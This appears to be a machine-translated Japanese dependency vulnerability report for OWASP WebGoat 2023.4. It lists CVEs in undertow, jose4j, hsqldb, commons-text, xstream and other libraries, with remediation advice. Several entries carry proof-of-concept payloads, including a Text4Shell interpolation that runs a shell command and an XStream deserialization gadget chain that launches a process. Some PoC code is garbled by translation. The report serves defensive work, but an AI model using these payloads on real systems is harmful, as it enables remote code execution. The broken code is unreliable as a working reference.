このパッケージの影響を受けるバージョンは、NotifierState関数が原因で、制御不能なリソース消費（「リソース枯渇」）に対して脆弱です。NotifierState関数は、通知状態のチェーンが問題になるほど大きくなるとスタック オーバーフロー例外を引き起こし、サービス拒否につながる可能性があります。

### 修復

org.jboss.xnio:xnio-apiをバージョン 3.5.10、3.7.13、3.8.14 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [RedHat Bugzilla バグ](#)

[この脆弱性の詳細](#)

高重症度

## リモートコード実行 (RCE)

- パッケージ マネージャー: maven 脆
- 弱なモジュール: org.hsqldb:hsqldb 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.hsqldb:hsqldb@2.5.2

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 › org.hsqldb:hsqldb@2.5.2

### 概要

このパッケージの影響を受けるバージョンは、java.sql.Statement または java.sql.PreparedStatement を使用して信頼できない入力を処理する際に、リモートコード実行 (RCE) の脆弱性を伴います。デフォルトでは、クラスパス内の任意の Java クラスの任意の静的メソッドを呼び出すことができ、その結果、コードが実行されます。

### 回避策

修正バージョンにアップグレードできないユーザーは、システムプロパティ hsqldb.method\_class\_names を、呼び出しが許可されているクラスに設定できます。例えば、System.setProperty("hsqldb.method\_class\_names", "abc") または Java 引数 -Dhsqldb.method\_class\_names="abc" を使用できます。

### 修復

org.hsqldb:hsqldb をバージョン 2.7.1 以上にアップグレードします。

### 参考文献

- [Chromiumのバグ](#)
- [GitHubコミット](#)
- [緩和](#)
- [SVNコミット](#)

[この脆弱性の詳細](#)

高重症度

## 破損した、または危険な暗号化アルゴリズムの使用

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.bitbucket.b\_c:jose4j 導入元:
- org\_OWASP\_WebGoat:webgoat@2023.4 および org.bitbucket.b\_c:jose4j@0.7.6

### 詳細なパス

- 導入元: org\_OWASP\_WebGoat:webgoat@2023.4 > org.bitbucket.b\_c:jose4j@0.7.6

### 概要

[org.bitbucket.b\\_c:jose4j](#)は、JSON Web Token (JWT)とJOSE仕様スイート (JWS、JWE、JWK)の堅牢で使いやすいオープンソース実装です。Javaで記述されており、暗号化にはJCA APIのみを使用しています。[https://bitbucket.org/b\\_c/jose4j/wiki/Home](https://bitbucket.org/b_c/jose4j/wiki/Home)をご覧ください。詳細情報、例などについては...

このパッケージの影響を受けるバージョンは、選択暗号文攻撃の影響を受けやすいRSA1\_5を使用しているため、破損した、または危険な暗号アルゴリズムの使用に対して脆弱です。この攻撃により、RSA1\_5またはRSA\_OAEPで暗号化された暗号文の復号が可能になります。影響を受ける鍵で署名することが可能になる可能性があります。

### 概念実証

```
{
  "kty": "RSA",
  "alg": "RSA1_5",
  "use": "sig",
  "enc": "n": "w2A4cbwOAK4ATnwXkGWereqv9dkEcgAGHc9g-cjo1HFeiYirvfD2Un2vQxW_6g2OKRPmmo46vMZFMVv_V57174j411y-NQlZGb7iFqMQADzo60VZ7vpvAX_NuxNGxYR-N2cBgvqqDiGAoO9ouNduHhxipTjGVfrPUpxm "e": "AQAB",
  "kid": "rsa1_5",
  "d": "EjMvbudEYQ9sdeM3arscqgTXuWYq9Netui8sUHh3v_qDnQ1jE7t-4gny0y-Ify67RlGAHNISTgixSGh309i5_kNbMuyvx08EntJaS1OLVQpXhDskoo9vscsPBiNlj3PFMjFQQcPG9vhGJzUu4tMzhtIME-oTB8VidMae "p": "-F1u3NAMWPu1Tluvlywljh5uiA3AVKLg6Fw_hAi3M9c3T7E1zNJzUHgQExJEu06ZPfzye9m7taDzh-Vw 4VGDED_MZedsE2jEsWa9EKeq3bZVf5j81FLCHH8BicFqrPjvoUC35wr9SGJzaOa7KxxD2jW22umYJS_kc 「q」: "yWHG7jHqvfqt8gfhlxpMbeJ02FrWIkgJC-zOJ26wXC6oxPeqhqe07ulGqZPngNDdSGgWcQ7noGEU804MA 9V3yhl91TFZy8unox0sGe0jDMwtxm3saXtTsje7FBxzr0PubfyGiS0fJqCj8oJSWZPkUshzZ8rF3jTlc "dp": "Va9WWhPkzqY4TC08x_OFjeqcYhdAtYWhb8FlzD4g6PEZzrMLEft9rWLsDQLEiyUQ6lio4NgZOPkFDA3Vi1ja8Dyfe20-ZVBlrqNK7MtST8pkLPpyjOEqy2CyrKrfQ99DLnZfe_RELad2dV2mS1KMsfzHefpTt0LaP 「dq」: "M8r1cviu9yg0HBhgvrIwU91dlu1Zw_L2D02DFgjCS5QhpQ_yyEYHPWZefZ4LQfmon52cl7TdqlgmoOnKyCBsO2NY29AByjKbgAN8CzOL5kepEKvWJ7PonXpG-ou29eJ81vChw5Ub_NVLG6V7b13E0AGbpKsC3pYn 「氣」: "8zjqISvddJYC93hP0sKkdHuVd-Mes_gsb18xqSFYgqc-wSU12KjzHnZmBuJL_VTGy9CO9W4K2gejr588a3 Ozf9U5hx9qCVkv0_ttxHcTRem5sFPe9z-HkQE5IMW3SdmL1sEcvkzD7z8QhcHRpp5aMpffuwnxBPY8U449_",
  "dprv": "8zjqISvddJYC93hP0sKkdHuVd-Mes_gsb18xqSFYgqc-wSU12KjzHnZmBuJL_VTGy9CO9W4K2gejr588a3 Ozf9U5hx9qCVkv0_ttxHcTRem5sFPe9z-HkQE5IMW3SdmL1sEcvkzD7z8QhcHRpp5aMpffuwnxBPY8U449_"
}
```

### 修復

org.bitbucket.b\_c:jose4j をバージョン 0.9.3 以上にアップグレードします。

### 参考文献

- [Bitbucketコミット](#)
- [Bitbucketコミット](#)
- [Bitbucket リリース](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.bitbucket.b\_c:jose4j 導入元:
- org\_OWASP\_WebGoat:webgoat@2023.4 および org.bitbucket.b\_c:jose4j@0.7.6

### 詳細なパス

- 導入元: org\_OWASP\_WebGoat:webgoat@2023.4 > org.bitbucket.b\_c:jose4j@0.7.6

### 概要

[org.bitbucket.b\\_c:jose4j](#)は、JSON Web Token (JWT)とJOSE仕様スイート (JWS、JWE、JWK)の堅牢で使いやすいオープンソース実装です。Javaで記述されており、暗号化にはJCA APIのみを使用しています。[https://bitbucket.org/b\\_c/jose4j/wiki/Home](https://bitbucket.org/b_c/jose4j/wiki/Home)をご覧ください。詳細情報、例などについては...

このパッケージの影響を受けるバージョンは、大きなp2c (PBES2カウント)値に起因するサービス拒否 (DoS)攻撃に対して脆弱です。攻撃者は、異常に高いPBES2カウント値を設定すると、アプリケーションに過剰なCPUリソースを消費させる可能性があります。

### 概念実証

```
org.jose4j.jwa.AlgorithmConstraints をインポートします。
org.jose4j.jwe.ContentEncryptionAlgorithmIdentifiers をインポートします。
org.jose4j.jwe.JsonWebEncryption をインポートします。
org.jose4j.jwe.KeyManagementAlgorithmIdentifiers をインポートします。
org.jose4j.keys.AesKey をインポートします。
す。 org.jose4j.lang.ByteUtil をインポートします。

java.security.Key をインポートします。

パブリッククラスjwt { バ
  ブリック静的void main(String[] args)throws Exception{ Key key = new
  AesKey(ByteUtil.randomBytes(16)); JsonWebEncryption jwe =
  new JsonWebEncryption(); jwe.setAlgorithmConstraints(new
  AlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT,
  キー管理アルゴリズム識別子.PBES2_HS256_A128KW));
  jwe.setContentEncryptionAlgorithmConstraints(新しいAlgorithmConstraints(AlgorithmConstraints.ConstraintType.PERMIT,
  ContentEncryptionAlgorithmIdentifiers.AES_128_CBC_HMAC_SHA_256));
  jwe.setKey(key);
  jwe.setCompactSerialization("eyJhbGciOiJQQkVTMi1IUz1NtBMTI4S1ciLCJlbMiOiJBMTI4Q0JDLUhTMju2liwicDJljoyMDAwMDAwLCJwMnMiOj1RWxQUghJLThGY2h3a1BhIn0=,JOlw8ccldkor7-ZaHQ System.out.println("ヘ
  イロード: " + jwe.getPayload());
```

```

    }
}

```

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

[org.bitbucket.b\\_c:jose4j](#) をバージョン 0.9.4 以上にアップグレードします。

## 参考文献

- [Bitbucketコミット](#)
- [Bitbucketの問題](#)

[この脆弱性の詳細](#)

高重症度

## 任意のコード実行

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.apache.commons:commons-text 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.apache.commons:commons-text@1.9

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4, org.apache.commons:commons-text@1.9

### 概要

このパッケージの影響を受けるバージョンは、StringSubstitutorインターポレータオブジェクトを介した任意のコード実行の脆弱性を有します。信頼できないデータがStringSubstitutor.replace()またはStringSubstitutor.replaceIn()メソッドに流入すると、この脆弱性を悪用される可能性があります。

これらの方は、ユーザー入力ではなくアプリケーション データを処理するという性質上、リモート攻撃者は、影響を受ける環境内のシステムに事前にアクセスして、そのようなデータを供給する必要があります。

### 注記

この脆弱性を悪用するために使用できるNashornスクリプトエンジンは、JDK 14.0.2まではデフォルトで利用可能でした。JDK 15以降では、JEXLなどの別のスクリプトエンジンが追加されている場合にのみ、この脆弱性を悪用できます。

脆弱な検索:

- 1.スクリプト-JVM スクリプト実行エンジン (`javax.script`) を使用して式を実行します。
2. dns - DNSレコードを解決する
3. url - リモートサーバーを含むURLから値を読み込みます

### 概念実証

```

最終的な StringSubstitutor インターポレーター = StringSubstitutor.createInterpolator();
文字列 out = interpolator.replace("${script;javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}"); System.out.println(out);

```

## 修復

[org.apache.commons:commons-text](#) をバージョン 1.10.0 以上にアップグレードします。

## 参考文献

- [Apache リスト](#)
- [GitHubコミット](#)
- [GitHub の PR](#)
- [GitHubリリース](#)
- [Snykブログ](#)
- [核テンプレート](#)
- [エクスプロイトDB](#)
- [GitHubでの概念実証](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていない再帰

- パッケージ マネージャー: maven
- 脆弱なモジュール: org.apache.commons:commons-lang3 導入元:
- org.owasp.webgoat:webgoat@2023.4 および org.apache.commons:commons-lang3@3.12.0

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.apache.commons:commons-lang3@3.12.0

### 概要

このパッケージの影響を受けるバージョンは、ClassUtils.getClass関数を介した制御不能な再帰に対して脆弱です。攻撃者は、過度に長い入力値を提供することで、アプリケーションを予期せず終了させる可能性があります。

### 修復

org.apache.commons:commons-lang3をバージョン 3.18.0 以上にアップグレードします。

### 参考文献

- [Apache ポニーメール](#)
- [GitHubコミット](#)

[この脆弱性の詳細](#)

高重症度

## 過剰なサイズ値によるメモリ割り当て

- パッケージマネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

### 概要

io.undertow:undertow-core非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、非常に大きなマルチパートコンテンツに対する@MultipartConfigアノテーションの処理が不適切であるため、過剰なサイズ値によるメモリ割り当てに対して脆弱です。

注: サーバーがfileSizeThresholdを使用してファイル サイズを制限する場合、リクエスト内のファイル名を null に設定することで制限を回避できます。

### 修復

io.undertow:undertow-coreをバージョン 2.2.27.Final,2.3.9.Final 以上にアップグレードします。

### 参考文献

- [GitHubコミット](#)
- [Jiraの問題](#)
- [RedHat Bugzilla バグ](#)

[この脆弱性の詳細](#)

高重症度

## 制限やスロットルのないリソースの割り当て (MadeYouReset)

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

### 概要

io.undertow:undertow-core非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、不正なクライアントリクエストによってサーバー側のストリームリセットが繰り返し発生し、不正使用カウンタが増加されないため、リソースの無制限割り当てまたはスロットリング（MadeYouReset）の脆弱性を悪用される可能性があります。攻撃者は、特に細工されたHTTP/2リクエストを送信することでサーバーリソースを枯渇させ、ストリームの中止を繰り返すことで過剰な負荷を発生させる可能性があります。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の1つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な2つのタイプ：

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例：[commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

`io.undertow:undertow-core`をバージョン 2.2.38.Final、2.3.20.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)
- [脆弱性調査](#)

[この脆弱性の詳細](#)

高重症度

## 不適切な証明書検証

- パッケージ マネージャー: maven
- 脆弱なモジュール: `io.undertow:undertow-core`
- `org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1`などを通じて導入されました

## 詳細なパス

- 導入元: `org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final`

## 概要

`io.undertow:undertow-core`非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、https 接続でサーバー証明書によって提示されるサーバー ID をチェックしない `undertow` クライアント経由の不適切な証明書検証に対して脆弱です。

## 修復

`io.undertow:undertow-core`をバージョン 2.2.24.Final、2.3.5.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)
- [Red Hat CVE データベース](#)
- [Red Hat の問題](#)
- [脆弱なコード](#)

[この脆弱性の詳細](#)

高重症度

## 不適切な入力検証

- パッケージマネージャー: maven
- 脆弱なモジュール: `io.undertow:undertow-core`
- `org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1`などを通じて導入されました

## 詳細なパス

- 導入元: `org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final`

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、FormAuthenticationMechanismによる不適切な入力検証の脆弱性を有します。攻撃者は、OutOfMemoryエラーを引き起こす細工されたリクエストを送信することで、サーバーのメモリを枯渉させ、サービス拒否攻撃を引き起こす可能性があります。

## 修復

io.undertow:undertow-coreをバージョン 2.2.32.Final,2.3.13.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [脆弱なコード](#)

[この脆弱性の詳細](#)

高重症度

## 制限やスロットルのないリソースの割り当て

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、リソースの無制限割り当てまたはスロットリングの脆弱性を抱えています。攻撃者は、ajp-listenerに設定されたmax-header-size属性を超えるAJPリクエストを繰り返し送信することで、サービスの可用性を阻害し、サーバーがAJP応答を返さずにTCP接続を閉じる可能性があります。

注記：

これは、max-header-size が 64 KB 以下に設定されている場合にのみ悪用可能です。

## 修復

io.undertow:undertow-coreをバージョン 2.2.31.Final,2.3.12.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [RedHat Bugzilla バグ](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていないリソース消費（「リソース枯渀」）

- パッケージマネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4,org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、ajp-listenerにおけるURLエンコードされたリクエストパス情報の処理に起因する、制御不能なリソース消費（「リソース枯渀」）の脆弱性を抱えています。攻撃者は、細工した同時リクエストを送信することで、サーバーに誤ったパスを処理させ、サービスの中断を引き起こす可能性があります。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

io.undertow:undertow-coreをバージョン 2.2.33.Final、2.3.14.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていないリソース消費（「リソース枯渇」）

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#) 非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、単一ストリーム内で送信できるCONTINUATIONフレームの数に対する制限が不十分なため、制御不能なリソース消費（「リソース枯渇」）の脆弱性を有します。攻撃者は、脆弱なサーバーにパケットを送信することで、コンピューティングリソースまたはメモリリソースを消費し、サービスの中断を引き起こす可能性があります。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰まらせようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

io.undertow:undertow-coreをバージョン 2.2.33.Final、2.3.14.Final 以上にアップグレードします。

## 参考文献

- [Apacheアドバイザリ](#)
- [Githubコミット](#)
- [GitHubコミット](#)
- [GitHubコミット](#)
- [概念実証](#)
- [Red Hat Bugzilla バグ](#)
- [セキュリティに関する注意事項](#)

[この脆弱性の詳細](#)

高重症度

## 制御されていない再帰

- パッケージマネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4、org.springframework.boot:spring-boot-starter-undertow@2.7.1 などを通じて導入されました

## 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、チャンクレスポンス処理における制御不能な再帰の脆弱性をはらんでいます。攻撃者は、チャンクレスポンスにおいて0\r\n終了シーケンスを伴わずに過剰なデータを送信することで、クライアントを無期限に待機させ、サーバーへのサービスを中断させる可能性があります。

注意:これは、Java 17 上の TLS 1.3 で NewSessionTicket 機能を使用する場合にのみ悪用可能です。

## 修復

io.undertow:undertow-coreをバージョン 2.2.34.Final、2.3.8.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)
- [Red Hat セキュリティアドバイザリ](#)

[この脆弱性の詳細](#)

高重症度

## サービス拒否 (DoS)

- パッケージ マネージャー: maven
- 脆弱なモジュール: io.undertow:undertow-core
- org.owasp.webgoat:webgoat@2023.4.org.springframework.boot:spring-boot-starter-undertow@2.7.1などを通じて導入されました

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > org.springframework.boot:spring-boot-starter-undertow@2.7.1 > io.undertow:undertow-core@2.2.18.Final

## 概要

[io.undertow:undertow-core](#)非ブロッキング IO に基づく Java Web サーバーです。

このパッケージの影響を受けるバージョンは、WriteTimeoutStreamSinkConduitプロセスに起因する、wildfly-http-clientプロトコルを介したサービス拒否 (DoS) 攻撃に対して脆弱です。この脆弱性は、接続の即時的な開閉を繰り返すことで悪用され、メモリリークおよびファイル記述子リークを引き起こす可能性があります。

## 詳細

サービス拒否 (DoS) とは、対象となる正当なユーザーがシステムにアクセスできないようにすることを目的とした一連の攻撃を指します。

他の脆弱性とは異なり、DoS 攻撃は通常、セキュリティ侵害を目的としたものではありません。むしろ、正規のユーザーがウェブサイトやサービスを利用できないようにし、ダウンタイムを引き起こすことに重点を置いています。

よくあるサービス拒否の脆弱性の 1 つに DDoS (分散型サービス拒否) があります。これは、多数のマシンから大量のトラフィックを生成してシステムへのネットワーク パイプを詰ませようとする攻撃です。

オープンソース ライブラリの場合、DoS 脆弱性により、攻撃者はアプリケーション コードまたはオープンソース ライブラリの使用上の欠陥を利用して、サービスのクラッシュや機能停止を引き起こすことができます。

DoS 脆弱性の一般的な 2 つのタイプ:

- CPU/メモリ消費量の増大 - 攻撃者は、システムの処理に過度な時間を要する可能性のある細工されたリクエストを送信します。例: [commons-fileupload:commons-fileupload](#)。
- クラッシュ - 攻撃者が細工したリクエストを送信し、システムをクラッシュさせる。例えば、[npm ws/パッケージ](#)

## 修復

io.undertow:undertow-coreをバージョン 2.2.31.Final、2.3.12.Final 以上にアップグレードします。

## 参考文献

- [GitHubコミット](#)
- [GitHubコミット](#)
- [Red Hat Bugzilla バグ](#)
- [Red Hat の問題](#)

[この脆弱性の詳細](#)

高重症度

## 信頼できないデータのデシリアライズ

- パッケージ マネージャー: maven
- 脆弱なモジュール: com.thoughtworks.xstream:xstream 導入元:
- org.owasp.webgoat:webgoat@2023.4 および com.thoughtworks.xstream:xstream@1.4.5

### 詳細なパス

- 導入元: org.owasp.webgoat:webgoat@2023.4 > com.thoughtworks.xstream:xstream@1.4.5

## 概要

[com.thoughtworks.xstream:xstream](#)オブジェクトを XML にシリアル化し、またその逆を行なうシンプルなライブラリです。

このパッケージの影響を受けるバージョンは、信頼できないデータのデシリアライゼーションに対して脆弱です。アンマーシャリング時に処理されたストリームには、以前に書き込まれたオブジェクトを再作成するための型情報が含まれています。そのため、XStreamはこれらの型情報に基づいて新しいインスタンスを作成します。攻撃者は処理された入力ストリームを操作し、任意のシェルコマンドを実行できるオブジェクトを置き換えるたり挿入したりする可能性があります。

この問題はCVE-2013-7285の垂れであり、Javaランタイム環境の異なるクラスセットが利用されていますが、これらのクラスはいずれもXStreamのデフォルトブラックリストには含まれていません。StrutsのXStreamプラグインについては、CVE-2017-9805で既に同じ問題が報告されていますが、XStreamプロジェクトにはこれまで通知されていません。

### 概念実証

```
<マップ>
<エントリ>
  <jdk.nashorn.internal.objects.NativeString> <フラグ>0</
  フラグ> <値クラス
  ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
  <データハンドラー>
    <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is
    class='java.io.SequenceInputStream'>
    <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
      <イテレータクラス='javax.imageio.spi.FilterIterator'>
        <iter class='java.util.ArrayList$Iter'> <cursor>0</
        cursor> <lastRet>-1</
        lastRet>
        <expectedModCount>1</expectedModCount> <外
        部クラス>
        <java.lang.ProcessBuilder> <コマン
        ド> <文字列
        >calc</文字列> </コマンド> </
        java.lang.ProcessBuilder>
    </outer-class> </
    iter>
    <filter class='javax.imageio.ImageIO$ContainsFilter'>
      <×ノット>
        <クラス>java.lang.ProcessBuilder</クラス> <名前
        >start</名前> <パラメータ
        タイプ> </×ソッド> <名前
        >start</名前>
        > </フィルタ> <次> </イテ
        レータ> <タイ
        ブ>KEYS</
        タイプ> </e>
    <in
      class='java.io.ByteArrayInputStream'> </バッファ></バッ
      フア> <pos>0</
      pos> <マーク>0</
      マーク> <カウント
      >0</カウント> </in> </
      is> <コ
      ンシュ
      ーム> <ム>false</コンシューム>
    </dataSource>
    <transferFlavors/> </
    dataHandler>
    <dataLen>0</dataLen> </
    value>
  </jdk.nashorn.internal.objects.NativeString> <string>テスト
</string> </entry> </map>
```

注: 1.4.14-jdk7はOpenJDK 7用に最適化されており、リリース1.4.14は他のJDKプロジェクトと互換性があります。

## 詳細

シリアル化とは、オブジェクトをディスクやデータベースに保存したり、ストリームを通じて送信したりできるバイトシーケンスに変換するプロセスです。

バイト列からオブジェクトを作成する逆のプロセスは、デシリアライゼーションと呼ばれます。シリアル化とは、通信（複数のホスト間でオブジェクトを共有する）や永続化（オブジェクトの状態をファイルやデータベースに保存する）によく使用されます。これは、Remote Method Invocation (RMI)、Java Management Extension (JMX)、Java Messaging System (JMS)、Action Message Format (AMF)、Java Server Faces (JSF)といった一般的なプロトコルに不可欠な要素です。

ViewStateなど

信頼できないデータのデシリアライゼーション ([CWE-502](#)) は、アプリケーションが結果のデータが有効であることを十分に検証せずに信頼できないデータをデシリアライズし、攻撃者が実行の状態やフローを制御できるようにすることです。

Javaのデシリアライゼーション問題は長年知られていました。しかし、2015年に、悪用されリモートコード実行を可能にする可能性のあるクラスが人気ライブラリ (Apache Commons Collection)で発見されたことで、この問題への関心は大きく高まりました。これらのクラスは、IBM WebSphere、Oracle WebLogic、その他多くの製品に影響を与えるゼロデイ攻撃で使用されました。

攻撃者は、脆弱なクラスがパス上に存在し、信頼できないデータに対してデシリアライズを実行するソフトウェアを特定するだけで済みます。あとは、ペイロードをデシリアライザに送信し、コマンドを実行するだけです。

開発者はJavaオブジェクトのシリアル化に過度の信頼を置いています。中には認証前にオブジェクトをデシリアライズする開発者もいます。Javaでオブジェクトをデシリアライズする場合、通常は想定される型にキャストするため、Javaの厳格な型システムにより、有効なオブジェクトツリーのみが取得されます。しかし、型チェックが行われる頃には、プラットフォームコードが既に重要なロジックを作成し、実行しています。そのため、最終的な型がチェックされる前に、様々なオブジェクトのreadObject()メソッドから大量のコードが実行されます。これらはすべて開発者の制御外にあります。脆弱なアプリケーションのクラスパス上で利用可能な様々なクラスのreadObject()メソッドを組み合わせることで、攻撃者は関数 (Runtime.exec())を呼び出してローカルOSコマンドを実行することを含む)を実行できます。

## 修復

